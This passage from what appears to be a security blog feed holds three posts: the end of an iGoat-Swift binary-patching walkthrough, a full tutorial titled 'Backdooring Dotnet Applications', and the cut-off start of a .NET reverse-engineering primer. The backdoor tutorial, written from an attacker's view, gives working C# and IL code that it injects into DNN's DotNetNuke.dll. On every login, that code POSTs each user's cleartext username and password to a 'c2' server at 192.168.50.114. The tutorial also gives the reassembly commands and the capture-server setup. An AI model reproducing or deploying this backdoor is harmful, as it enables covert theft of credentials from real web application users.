<p>Let’s take a look at the <a href="https://github.com/OWASP/iGoat-Swift/blob/1f44c0826556ae3a44b92ba68fc64cdc4c993b03/iGoat-Swift/iGoat-Swift/Source/Exercises/Binary%20Patching/BinaryPatchingVC.swift#L12">source code</a>:</p>

<div class="language-swift highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">import</span> <span class="kt">UIKit</span>

<span class="kd">class</span> <span class="kt">BinaryPatchingVC</span><span class="p">:</span> <span class="kt">UIViewController</span> <span class="p">{</span>
    <span class="kd">@IBOutlet</span> <span class="k">weak</span> <span class="k">var</span> <span class="nv">passwordTextField</span><span class="p">:</span> <span class="kt">UITextField</span><span class="o">!</span>
    
    <span class="kd">@IBAction</span> <span class="kd">func</span> <span class="nf">loginItemPressed</span><span class="p">()</span> <span class="p">{</span>
        <span class="k">if</span> <span class="n">passwordTextField</span><span class="o">.</span><span class="n">text</span><span class="p">?</span><span class="o">.</span><span class="n">isEmpty</span> <span class="p">??</span> <span class="kc">true</span> <span class="p">{</span>
            <span class="kt">UIAlertController</span><span class="o">.</span><span class="nf">showAlertWith</span><span class="p">(</span><span class="nv">title</span><span class="p">:</span> <span class="s">"iGoat"</span><span class="p">,</span> <span class="nv">message</span><span class="p">:</span> <span class="s">"Password Field empty!!"</span><span class="p">)</span>
        <span class="p">}</span>
        
        <span class="k">let</span> <span class="nv">password</span> <span class="o">=</span> <span class="n">passwordTextField</span><span class="o">.</span><span class="n">text</span><span class="o">!</span>
        <span class="k">if</span> <span class="n">password</span> <span class="o">==</span> <span class="s">"root"</span> <span class="p">{</span>
            <span class="kt">UIAlertController</span><span class="o">.</span><span class="nf">showAlertWith</span><span class="p">(</span><span class="nv">title</span><span class="p">:</span> <span class="s">"Incorrect Password"</span><span class="p">,</span> <span class="nv">message</span><span class="p">:</span> <span class="s">"Enter the correct password"</span><span class="p">)</span>
            <span class="k">return</span>
        <span class="p">}</span>
        <span class="kt">UIAlertController</span><span class="o">.</span><span class="nf">showAlertWith</span><span class="p">(</span><span class="nv">title</span><span class="p">:</span> <span class="s">"iGoat"</span><span class="p">,</span> <span class="nv">message</span><span class="p">:</span> <span class="s">"Congratulations"</span><span class="p">)</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In this code, the user-supplied password value is checked to equal the string <code class="language-plaintext highlighter-rouge">root</code> and if so it displays an <code class="language-plaintext highlighter-rouge">Incorrect Password</code> warning.  It seems to me the logic is reversed here; that the line should read <code class="language-plaintext highlighter-rouge">if password != "root" {</code>, so we are going to assume the string we need to reverse is <code class="language-plaintext highlighter-rouge">root</code> even though it shows an <code class="language-plaintext highlighter-rouge">Incorrect Password</code> prompt.</p>

<p><img src="/images/05242024/simulator-root-password.png" alt="" /></p>

<p>The rest of this task will require Ghidra!</p>

<h2 id="ghidra-binary-patching">Ghidra: Binary Patching</h2>

<p>We can open Ghidra and import the iOS application binary into it.  After analysis, I searched for <code class="language-plaintext highlighter-rouge">BinaryPatching</code> and found a symbol location for <code class="language-plaintext highlighter-rouge">iGoat_Swift/BinaryPatchingVC.swift</code>.  This took me to a function called <code class="language-plaintext highlighter-rouge">_$s11iGoat_Swift16BinaryPatchingVCC16loginItemPressedyyF</code>.  In this function, I located the hard coded string <code class="language-plaintext highlighter-rouge">root</code> in the disassembly view.</p>

<p><img src="/images/05242024/ghidra-root.png" alt="" /></p>

<p>I then navigate to the location of the <code class="language-plaintext highlighter-rouge">root</code> string within the binary</p>

<p><img src="/images/05242024/ghidra-root-string.png" alt="" /></p>

<p>Then, I right click on the memory address of the string and select <code class="language-plaintext highlighter-rouge">Patch Data</code> from the context menu</p>

<p><img src="/images/05242024/ghidra-context-menu-patch.png" alt="" /></p>

<p>This then allows me to type in the value I want.</p>

<p><img src="/images/05242024/ghidra-root-patch.png" alt="" /></p>

<p>At this point, I change the value to <code class="language-plaintext highlighter-rouge">toor</code></p>

<p><img src="/images/05242024/ghidra-toor.png" alt="" /></p>

<p>Then in Ghidra, I choose <code class="language-plaintext highlighter-rouge">File-&gt;Export</code> and export the program as raw bytes.  We can then navigate to the iGoat-Swift.app directory and replace the <code class="language-plaintext highlighter-rouge">iGoat-Swift</code> file with our modified binary program file.</p>

<p>After that, on a Mac computer, we need to resign the <code class="language-plaintext highlighter-rouge">iGoat-Swift.app</code> directory for it to run properly with our modifications in the iOS Simulator.  We can do this by running the following command on the Mac developer host:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign -s "Apple Development: Nicholas Starke" -f --preserve-metadata --generate-entitlement-der iGoat-Swift.app
</code></pre></div></div>

<p>Note that this requires an apple developer provisioning profile, which can be provisioned in Xcode.</p>

<p>After we have resigned our modified iOS application, we can drag from finder to the iOS Simulator and thereby install our modified application. Make sure you delete the original application installation first, as they will use the same bundle identifier.</p>

<p>Once the modified app is installed and launched, I then navigate to the Binary Patching exercise, enter the password <code class="language-plaintext highlighter-rouge">toor</code> and receive the same <code class="language-plaintext highlighter-rouge">Incorrect Password</code> prompt as we did when we tried <code class="language-plaintext highlighter-rouge">root</code> before.</p>

<p><img src="/images/05242024/simulator-patched-success.png" alt="" /></p>

<h2 id="summary">Summary</h2>

<p>There are numerous other challenges in <code class="language-plaintext highlighter-rouge">iGoat-Swift</code>.  I had a lot of fun working through and writing up these three, and if there is interest I will write up more of the challenges.  Reach out if you have questions!</p>]]></content><author><name>Nicholas Starke</name></author><category term="ios" /><category term="appsec" /><summary type="html"><![CDATA[Introduction]]></summary></entry><entry><title type="html">Backdooring Dotnet Applications</title><link href="https://starkeblog.com/backdooring/dotnet/2024/04/19/backdooring-dotnet-applications.html" rel="alternate" type="text/html" title="Backdooring Dotnet Applications" /><published>2024-04-19T06:00:00+00:00</published><updated>2024-04-19T06:00:00+00:00</updated><id>https://starkeblog.com/backdooring/dotnet/2024/04/19/backdooring-dotnet-applications</id><content type="html" xml:base="https://starkeblog.com/backdooring/dotnet/2024/04/19/backdooring-dotnet-applications.html"><![CDATA[<h2 id="tldr">tl;dr</h2>

<p>This blog post presents a very manual approach to modifying application code.  If you don’t have time to read and learn, I direct you to: <a href="https://github.com/dnSpyEx/dnSpy">DnSpyEx</a>.  Happy Hacking!</p>

<h2 id="background">Background</h2>

<p>In my <a href="/reverse-engineering/dotnet/2024/04/18/reverse-engineering-dotnet-applications.html">previous blog post</a> I went through the tooling required for reverse engineering dotnet applications.  I recommend reading through that blog post before tackling this one, especially if you are unfamiliar with <code class="language-plaintext highlighter-rouge">ilasm</code> and <code class="language-plaintext highlighter-rouge">ildasm</code>.</p>

<h2 id="introduction">Introduction</h2>

<p>Today we are going to look at how to backdoor a dotnet application.  Let’s define what that means.  We want to introduce new functionality into an existing dotnet application or dll without any application errors.</p>

<p>To accomplish this goal, I chose an open source dotnet application to use as a demonstration.  I chose <code class="language-plaintext highlighter-rouge">DNN</code> (<a href="https://github.com/dnnsoftware/Dnn.Platform">https://github.com/dnnsoftware/Dnn.Platform</a>), which is an open source Content Management System built in dotnet. As an open source project, the application code is available for all to read and modify.  However, the techniques I am going to teach you here do not rely at all on having the source code; the only prerequisite is having access to the binary application/dll, the ability to swap out the dll on the webserver, and the ability to restart IIS.</p>

<p>What is the functionality we intend to introduce? Well as good attackers, we want something useful for us to advance against our objectives.  For this demonstration, I chose introducing the capability of sending the valid login credentials of every authenticated user to a remote server via HTTP.  I plugged this function into the application binary instructions responsible for handling successful authentication attempts.</p>

<p>Why chose this functionality?  Passwords in CMS systems, as well as most well-constructed dotnet applications, are stored after being passed through a one way hash function.  That way if an attacker is able to pop the database, they aren’t able to recover the password directly.  But, if we can capture the credentials as they move through memory, before they touch disk, we can pilfer the unhashed clear text credentials.  Recovering application credentials can be very useful for gaining further access due to password reuse.</p>

<h2 id="test-environment">Test Environment</h2>

<p>When trying to modify binary applications without source code, it is always very important to have a reliable test environment.  I have a VM with a licensed version of Windows 11 in it that I use for tasks like this.  I downloaded version <code class="language-plaintext highlighter-rouge">9.13.3</code> of <code class="language-plaintext highlighter-rouge">DNN</code> from <a href="https://github.com/dnnsoftware/Dnn.Platform/releases/tag/v9.13.3">https://github.com/dnnsoftware/Dnn.Platform/releases/tag/v9.13.3</a>.  <code class="language-plaintext highlighter-rouge">9.13.3</code> is the latest version as of this writing.</p>

<p>I unzipped the release zip file into <code class="language-plaintext highlighter-rouge">C:\DNN9</code>.  I also had to install <a href="https://www.microsoft.com/en-us/download/details.aspx?id=101064">SQLExpress</a> and <a href="https://learn.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver16">SQL Server Management Studio</a> (<code class="language-plaintext highlighter-rouge">SSMS</code>) and modify the <code class="language-plaintext highlighter-rouge">web.config</code> file in <code class="language-plaintext highlighter-rouge">C:\DNN9</code> to point to my local <code class="language-plaintext highlighter-rouge">SQLExpress</code> SQL Server Database instead of relying on the <code class="language-plaintext highlighter-rouge">Database.mdf</code> file located in <code class="language-plaintext highlighter-rouge">C:\DNN9\App_data</code>.  I used SSMS to query the <code class="language-plaintext highlighter-rouge">Exceptions</code> table in the <code class="language-plaintext highlighter-rouge">DnnDB</code> to troubleshoot application errors I received while debugging my backdoor.  DNN does not display error messages with stack traces to web users upon exception; it logs them into this table for persistence.</p>

<p>The specific configuration setup is not relevent to this blog post, but good instructions to get started can be found here: <a href="https://www.dnnsoftware.com/docs/developers/setup/index.html">https://www.dnnsoftware.com/docs/developers/setup/index.html</a></p>

<h2 id="creating-the-backdoor-codeinstructions">Creating the Backdoor Code/Instructions</h2>

<p>To add functionality to an application in binary form requires manipulating the binary disassembly directly, then reassembling the modified disassembly back into pure binary .NET CLR bytecode.  This requires us to inject the code we hope to modify the original application with into the disassembly.  Instead of trying to hand write large amounts of disassembly by hand, I usually start by creating a Windows C# .NET Console Application in Visual Studio.  From there, I write a function that takes as argument the data I wish to exfiltrate to a remote server, and then call that function from the <code class="language-plaintext highlighter-rouge">main</code> function passing in hardcoded variables to the function invocation.</p>

<p><img src="/images/04192024/visual-studio-custom-function.png" alt="" /></p>

<p>The source code for my <code class="language-plaintext highlighter-rouge">CustomFunction</code> and Console Application:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">Newtonsoft.Json</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Collections.Generic</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Collections.Specialized</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Linq</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Net</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Net.Http</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Security.Policy</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Text</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Threading.Tasks</span><span class="p">;</span>

<span class="k">namespace</span> <span class="nn">DnnReConsoleApp</span>
<span class="p">{</span>
    <span class="k">internal</span> <span class="k">class</span> <span class="nc">Program</span>
    <span class="p">{</span>
        <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="kt">string</span> <span class="n">username</span> <span class="p">=</span> <span class="s">"bogus"</span><span class="p">;</span>
            <span class="kt">string</span> <span class="n">password</span> <span class="p">=</span> <span class="s">"bogus2"</span><span class="p">;</span>
            <span class="nf">CustomFunction</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="k">static</span> <span class="k">void</span> <span class="nf">CustomFunction</span><span class="p">(</span><span class="kt">string</span> <span class="n">username</span><span class="p">,</span> <span class="kt">string</span> <span class="n">password</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="k">using</span> <span class="p">(</span><span class="kt">var</span> <span class="n">wb</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">WebClient</span><span class="p">())</span>
            <span class="p">{</span>
                <span class="kt">var</span> <span class="n">data</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">NameValueCollection</span><span class="p">();</span>
                <span class="n">data</span><span class="p">[</span><span class="s">"username"</span><span class="p">]</span> <span class="p">=</span> <span class="n">username</span><span class="p">;</span>
                <span class="n">data</span><span class="p">[</span><span class="s">"password"</span><span class="p">]</span> <span class="p">=</span> <span class="n">password</span><span class="p">;</span>

                <span class="kt">var</span> <span class="n">response</span> <span class="p">=</span> <span class="n">wb</span><span class="p">.</span><span class="nf">UploadValues</span><span class="p">(</span><span class="s">"http://192.168.50.114:3000/creds"</span><span class="p">,</span> <span class="s">"POST"</span><span class="p">,</span> <span class="n">data</span><span class="p">);</span>
                <span class="kt">string</span> <span class="n">responseInString</span> <span class="p">=</span> <span class="n">Encoding</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="nf">GetString</span><span class="p">(</span><span class="n">response</span><span class="p">);</span>
            <span class="p">}</span>

        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>I compile this application and then disassemble it with <code class="language-plaintext highlighter-rouge">ildasm</code> by running:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ildasm /out=DnnReConsoleApp.il DnnReConsoleApp.exe
</code></pre></div></div>

<p>Which produces the following bytecode disassembly:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
//  Microsoft (R) .NET Framework IL Disassembler.  Version 4.8.3928.0
//  Copyright (c) Microsoft Corporation.  All rights reserved.



// Metadata version: v4.0.30319
.assembly extern mscorlib
{
  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 )                         // .z\V.4..
  .ver 4:0:0:0
}
.assembly extern System
{
  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 )                         // .z\V.4..
  .ver 4:0:0:0
}
.assembly DnnReConsoleApp
{
  .custom instance void [mscorlib]System.Runtime.CompilerServices.CompilationRelaxationsAttribute::.ctor(int32) = ( 01 00 08 00 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Runtime.CompilerServices.RuntimeCompatibilityAttribute::.ctor() = ( 01 00 01 00 54 02 16 57 72 61 70 4E 6F 6E 45 78   // ....T..WrapNonEx
                                                                                                             63 65 70 74 69 6F 6E 54 68 72 6F 77 73 01 )       // ceptionThrows.

  // --- The following custom attribute is added automatically, do not uncomment -------
  //  .custom instance void [mscorlib]System.Diagnostics.DebuggableAttribute::.ctor(valuetype [mscorlib]System.Diagnostics.DebuggableAttribute/DebuggingModes) = ( 01 00 07 01 00 00 00 00 ) 

  .custom instance void [mscorlib]System.Reflection.AssemblyTitleAttribute::.ctor(string) = ( 01 00 0F 44 6E 6E 52 65 43 6F 6E 73 6F 6C 65 41   // ...DnnReConsoleA
                                                                                              70 70 00 00 )                                     // pp..
  .custom instance void [mscorlib]System.Reflection.AssemblyDescriptionAttribute::.ctor(string) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Reflection.AssemblyConfigurationAttribute::.ctor(string) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Reflection.AssemblyCompanyAttribute::.ctor(string) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Reflection.AssemblyProductAttribute::.ctor(string) = ( 01 00 0F 44 6E 6E 52 65 43 6F 6E 73 6F 6C 65 41   // ...DnnReConsoleA
                                                                                                70 70 00 00 )                                     // pp..
  .custom instance void [mscorlib]System.Reflection.AssemblyCopyrightAttribute::.ctor(string) = ( 01 00 12 43 6F 70 79 72 69 67 68 74 20 C2 A9 20   // ...Copyright .. 
                                                                                                  20 32 30 32 34 00 00 )                            //  2024..
  .custom instance void [mscorlib]System.Reflection.AssemblyTrademarkAttribute::.ctor(string) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Runtime.InteropServices.ComVisibleAttribute::.ctor(bool) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Runtime.InteropServices.GuidAttribute::.ctor(string) = ( 01 00 24 33 32 32 30 36 39 65 33 2D 62 36 33 62   // ..$322069e3-b63b
                                                                                                  2D 34 65 32 39 2D 61 64 32 65 2D 33 35 33 31 34   // -4e29-ad2e-35314
                                                                                                  33 63 64 38 31 38 61 00 00 )                      // 3cd818a..
  .custom instance void [mscorlib]System.Reflection.AssemblyFileVersionAttribute::.ctor(string) = ( 01 00 07 31 2E 30 2E 30 2E 30 00 00 )             // ...1.0.0.0..
  .custom instance void [mscorlib]System.Runtime.Versioning.TargetFrameworkAttribute::.ctor(string) = ( 01 00 1A 2E 4E 45 54 46 72 61 6D 65 77 6F 72 6B   // ....NETFramework
                                                                                                        2C 56 65 72 73 69 6F 6E 3D 76 34 2E 38 01 00 54   // ,Version=v4.8..T
                                                                                                        0E 14 46 72 61 6D 65 77 6F 72 6B 44 69 73 70 6C   // ..FrameworkDispl
                                                                                                        61 79 4E 61 6D 65 12 2E 4E 45 54 20 46 72 61 6D   // ayName..NET Fram
                                                                                                        65 77 6F 72 6B 20 34 2E 38 )                      // ework 4.8
  .hash algorithm 0x00008004
  .ver 1:0:0:0
}
.module DnnReConsoleApp.exe
// MVID: {7472C02C-0AE8-4CA6-A7A8-49F6F0936D7F}
.imagebase 0x00400000
.file alignment 0x00000200
.stackreserve 0x00100000
.subsystem 0x0003       // WINDOWS_CUI
.corflags 0x00020003    //  ILONLY 32BITPREFERRED
// Image base: 0x06DB0000


// =============== CLASS MEMBERS DECLARATION ===================

.class private auto ansi beforefieldinit DnnReConsoleApp.Program
       extends [mscorlib]System.Object
{
  .method private hidebysig static void  Main(string[] args) cil managed
  {
    .entrypoint
    // Code size       22 (0x16)
    .maxstack  2
    .locals init ([0] string username,
             [1] string password)
    IL_0000:  nop
    IL_0001:  ldstr      "bogus"
    IL_0006:  stloc.0
    IL_0007:  ldstr      "bogus2"
    IL_000c:  stloc.1
    IL_000d:  ldloc.0
    IL_000e:  ldloc.1
    IL_000f:  call       void DnnReConsoleApp.Program::CustomFunction(string,
                                                                      string)
    IL_0014:  nop
    IL_0015:  ret
  } // end of method Program::Main

  .method private hidebysig static void  CustomFunction(string username,
                                                        string password) cil managed
  {
    // Code size       85 (0x55)
    .maxstack  4
    .locals init ([0] class [System]System.Net.WebClient wb,
             [1] class [System]System.Collections.Specialized.NameValueCollection data,
             [2] uint8[] response,
             [3] string responseInString)
    IL_0000:  nop
    IL_0001:  newobj     instance void [System]System.Net.WebClient::.ctor()
    IL_0006:  stloc.0
    .try
    {
      IL_0007:  nop
      IL_0008:  newobj     instance void [System]System.Collections.Specialized.NameValueCollection::.ctor()
      IL_000d:  stloc.1
      IL_000e:  ldloc.1
      IL_000f:  ldstr      "username"
      IL_0014:  ldarg.0
      IL_0015:  callvirt   instance void [System]System.Collections.Specialized.NameValueCollection::set_Item(string,
                                                                                                              string)
      IL_001a:  nop
      IL_001b:  ldloc.1
      IL_001c:  ldstr      "password"
      IL_0021:  ldarg.1
      IL_0022:  callvirt   instance void [System]System.Collections.Specialized.NameValueCollection::set_Item(string,
                                                                                                              string)
      IL_0027:  nop
      IL_0028:  ldloc.0
      IL_0029:  ldstr      "http://192.168.50.114:3000/creds"
      IL_002e:  ldstr      "POST"
      IL_0033:  ldloc.1
      IL_0034:  callvirt   instance uint8[] [System]System.Net.WebClient::UploadValues(string,
                                                                                       string,
                                                                                       class [System]System.Collections.Specialized.NameValueCollection)
      IL_0039:  stloc.2
      IL_003a:  call       class [mscorlib]System.Text.Encoding [mscorlib]System.Text.Encoding::get_UTF8()
      IL_003f:  ldloc.2
      IL_0040:  callvirt   instance string [mscorlib]System.Text.Encoding::GetString(uint8[])
      IL_0045:  stloc.3
      IL_0046:  nop
      IL_0047:  leave.s    IL_0054

    }  // end .try
    finally
    {
      IL_0049:  ldloc.0
      IL_004a:  brfalse.s  IL_0053

      IL_004c:  ldloc.0
      IL_004d:  callvirt   instance void [mscorlib]System.IDisposable::Dispose()
      IL_0052:  nop
      IL_0053:  endfinally
    }  // end handler
    IL_0054:  ret
  } // end of method Program::CustomFunction

  .method public hidebysig specialname rtspecialname 
          instance void  .ctor() cil managed
  {
    // Code size       8 (0x8)
    .maxstack  8
    IL_0000:  ldarg.0
    IL_0001:  call       instance void [mscorlib]System.Object::.ctor()
    IL_0006:  nop
    IL_0007:  ret
  } // end of method Program::.ctor

} // end of class DnnReConsoleApp.Program


// =============================================================

// *********** DISASSEMBLY COMPLETE ***********************
// WARNING: Created Win32 resource file DnnReConsoleApp.res
</code></pre></div></div>

<p>A few things to note about this program:</p>

<p>1) To avoid having to drop additional dll libraries onto the target website, I chose to use the <code class="language-plaintext highlighter-rouge">Newtonsoft.Json</code> JSON library as it was already included in DNN by default.</p>

<p>2) The application makes a HTTP POST request containing the login credentials to a hardcoded IP address running elsewhere as our remote capture server (<code class="language-plaintext highlighter-rouge">c2</code>).</p>

<p><img src="/images/04192024/vscode-ildasm-output.png" alt="" /></p>

<h2 id="identifying-the-insertion-point">Identifying the insertion point</h2>

<p>We need to find the right location in our target application to insert the custom functionality as well as where to call our <code class="language-plaintext highlighter-rouge">CustomFunction</code> from.  There are a lot of .NET Decompilers out there; the last blog post used <a href="icsharpcode">ILSpy</a> (also open source and available on the Microsoft Store).  For this blog post I am going to use <a href="https://www.jetbrains.com/decompiler/">Dotpeek</a>.  There are many others; I encourage you to try as many of them as you can to decide which fits your work flow best.</p>

<p>I was able to identify the code location I wanted to call my <code class="language-plaintext highlighter-rouge">CustomFunction</code> from by using <code class="language-plaintext highlighter-rouge">DotPeek</code> to peruse the binary dll file.</p>

<p><img src="/images/04192024/dotpeek-insertion-point.png" alt="" /></p>

<p>The <code class="language-plaintext highlighter-rouge">CheckInsecurePassword</code> method is located in the <code class="language-plaintext highlighter-rouge">DotNetNuke.dll</code> file. In C# terms, it lives in the namespace <code class="language-plaintext highlighter-rouge">DotNetNuke.Entities.Users.UserController</code>.</p>

<p>I chose the end of the <code class="language-plaintext highlighter-rouge">CheckInsecurePassword</code> function to insert the method invocation to my <code class="language-plaintext highlighter-rouge">CustomFunction</code> for a few reaqsons:</p>

<p>1) This method does not return a value (return type <code class="language-plaintext highlighter-rouge">void</code> in C#)</p>

<p>2) It is called on every successful authentication check as far as I can tell.</p>

<p>3) It has the data I want to steal as argument parameters.</p>

<h2 id="disassembling-the-original-dll">Disassembling the Original DLL</h2>

<p>I used the following command to disassemble <code class="language-plaintext highlighter-rouge">DotNetNuke.dll</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ildasm /dll /out=DotNetNuke.il DotNetNuke.dll
</code></pre></div></div>

<p>An important thing to note is that <code class="language-plaintext highlighter-rouge">ildasm</code> creates a <code class="language-plaintext highlighter-rouge">DotNetNuke.res</code> file upon successful disassembly.  This file will become very important later.</p>

<p>Now that we have our disassembly, we can begin modifying the disassembly to include both our <code class="language-plaintext highlighter-rouge">CustomFunction</code> and the invocation of it.</p>

<h2 id="modifying-the-disassembly">Modifying the Disassembly</h2>

<p>The Disassembly for the <code class="language-plaintext highlighter-rouge">DotNetNuke.dll</code> is 600,000+ lines long, so I won’t include it in its entirety here.  If you’re interested, I posted a copy of the modified Disassembly file <a href="/text/04192024/DotNetNuke.il">here</a>.  For this blog post, I will focus on the insertion point for the <code class="language-plaintext highlighter-rouge">CustomFunction</code> method and the insertion point for calling this custom function.</p>

<p>For the first, I chose to include the function in <code class="language-plaintext highlighter-rouge">DotNetNuke.Entities.Users.UserController</code>.  You can find this class by searching for this string in <code class="language-plaintext highlighter-rouge">DotNetNuke.il</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.class public auto ansi beforefieldinit DotNetNuke.Entities.Users.UserController
</code></pre></div></div>

<p>I identified the class by using this VSCode Search Term (with regex enabled):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>\.class.*DotNetNuke.Entities.Users.UserController
</code></pre></div></div>

<p><img src="/images/04192024/vscode-search.png" alt="" /></p>

<p>I inserted the disassembled method right after <code class="language-plaintext highlighter-rouge">UserController::GetDuplicateEmailCount</code>.  You can find this location by searching for the following string:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>} // end of method UserController::GetDuplicateEmailCount
</code></pre></div></div>

<p>I changed the method signature to</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.method public hidebysig static void
</code></pre></div></div>

<p>From:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.method private hidebysig static void 
</code></pre></div></div>

<p>So I could call the <code class="language-plaintext highlighter-rouge">CustomFunction</code> externally if necessary.  It ended up not being necessary to pull the full attack off, but its something to consider if you’re making calls to other assemblies.</p>

<p>That takes care of inserting the <code class="language-plaintext highlighter-rouge">CustomFunction</code> method.  How about calling it now?</p>

<p>I wanted to add the invocation at the end of the function, so I chose to add it after the disassembly would normally end:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>IL_004f:  brfalse.s  IL_0054
IL_0051:  ldarg.2
IL_0052:  ldc.i4.6
IL_0053:  stind.i4
IL_0054:  ret
</code></pre></div></div>

<p>I added this handwritten disassembly:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>IL_0054:  ldarg.0
IL_0055:  ldarg.1
IL_0056:  call void DotNetNuke.Entities.Users.UserController::CustomFunction(string, string)
IL_005A:  nop
IL_005b:  ret
</code></pre></div></div>

<p>Note that the <code class="language-plaintext highlighter-rouge">ret</code> bytecode instruction had to be modified from <code class="language-plaintext highlighter-rouge">IL_0054:  ret</code> to <code class="language-plaintext highlighter-rouge">IL_005b:  ret</code></p>

<h2 id="reassembling">Reassembling</h2>

<p>After we insert our method and invocation, we need to reassemble our <code class="language-plaintext highlighter-rouge">DotNetNuke.dll</code> from the modified <code class="language-plaintext highlighter-rouge">DotNetNuke.il</code>.  We can do that by running the following command:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ilasm /dll /out=DotNetNuke.dll /resource=DotNetNuke.res DotNetNuke.il
</code></pre></div></div>

<p>This is where that resource file comes in.  On disassembly, <code class="language-plaintext highlighter-rouge">ildasm</code> creates a <code class="language-plaintext highlighter-rouge">.res</code> file containing Assembly version information and other metadata.  <code class="language-plaintext highlighter-rouge">DNN</code> uses the data in this file in its start up code, and if it doesn’t exist you will be granted with an ASP.NET Runtime Error if you don’t include it when reassembling. That might be specific to <code class="language-plaintext highlighter-rouge">DNN</code> but it will probably also matter for whatever dll/exe you are targeting.</p>

<h2 id="setting-up-the-c2">Setting up the C2</h2>

<p>I went out to another host on my network that runs an ubuntu image and downloaded this python3 script:</p>

<p><a href="https://gist.github.com/mdonkers/63e115cc0c79b4f6b8b3a6b797e485c7">https://gist.github.com/mdonkers/63e115cc0c79b4f6b8b3a6b797e485c7</a></p>

<p>I ran this script on port <code class="language-plaintext highlighter-rouge">3000</code>.  Note that the IP Address in this case of my “c2” was <code class="language-plaintext highlighter-rouge">192.168.50.114</code> which corresponds to the URL for the web request in <code class="language-plaintext highlighter-rouge">CustomFunction</code>.</p>

<h2 id="does-it-work">Does it work?</h2>

<p>I access my local installation of <code class="language-plaintext highlighter-rouge">DNN</code> using a web browser, and I log in using my authentication credentials.  This is what I see on my C2 output:</p>

<p><img src="/images/04192024/c2-receive-creds.png" alt="" /></p>

<p>Success!</p>]]></content><author><name>Nicholas Starke</name></author><category term="backdooring" /><category term="dotnet" /><summary type="html"><![CDATA[tl;dr]]></summary></entry><entry><title type="html">Reverse Engineering Dotnet Applications</title><link href="https://starkeblog.com/reverse-engineering/dotnet/2024/04/18/reverse-engineering-dotnet-applications.html" rel="alternate" type="text/html" title="Reverse Engineering Dotnet Applications" /><published>2024-04-18T06:00:00+00:00</published><updated>2024-04-18T06:00:00+00:00</updated><id>https://starkeblog.com/reverse-engineering/dotnet/2024/04/18/reverse-engineering-dotnet-applications</id><content type="html" xml:base="https://starkeblog.com/reverse-engineering/dotnet/2024/04/18/reverse-engineering-dotnet-applications.html"><![CDATA[<h1 id="introduction">Introduction</h1>

<h2 id="why-reverse-engineering-dotnet-applications">Why Reverse Engineering Dotnet Applications?</h2>

<p>Reverse engineering dotnet applications can be useful to discover how the application works without access to the source code.  Further, reverse engineering allows a developer to modify applications in their binary form, which again, can be done without source code.  So for example, a developer looking to build a REST API on top of a third party vendor application that does not offer such functionality built-in, could use reverse-engineering to add additional functionality to the third party vendor app.  In this case, that would be adding a REST API - or more likely, data output from the application to then be consumed by a REST API.  In this blog post I will show you the basics of reverse engineering dotnet applications, including tooling and binary modification.</p>

<h2 id="test-application">Test Application</h2>

<p>We start off with a basic C# console application.  The <code class="language-plaintext highlighter-rouge">Program.cs</code> file should look like this:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Collections.Generic</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Linq</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Text</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Threading.Tasks</span><span class="p">;</span>

<span class="k">namespace</span> <span class="nn">ReverseEngineeringTestApp1</span>
<span class="p">{</span>
    <span class="k">internal</span> <span class="k">class</span> <span class="nc">Program</span>
    <span class="p">{</span>
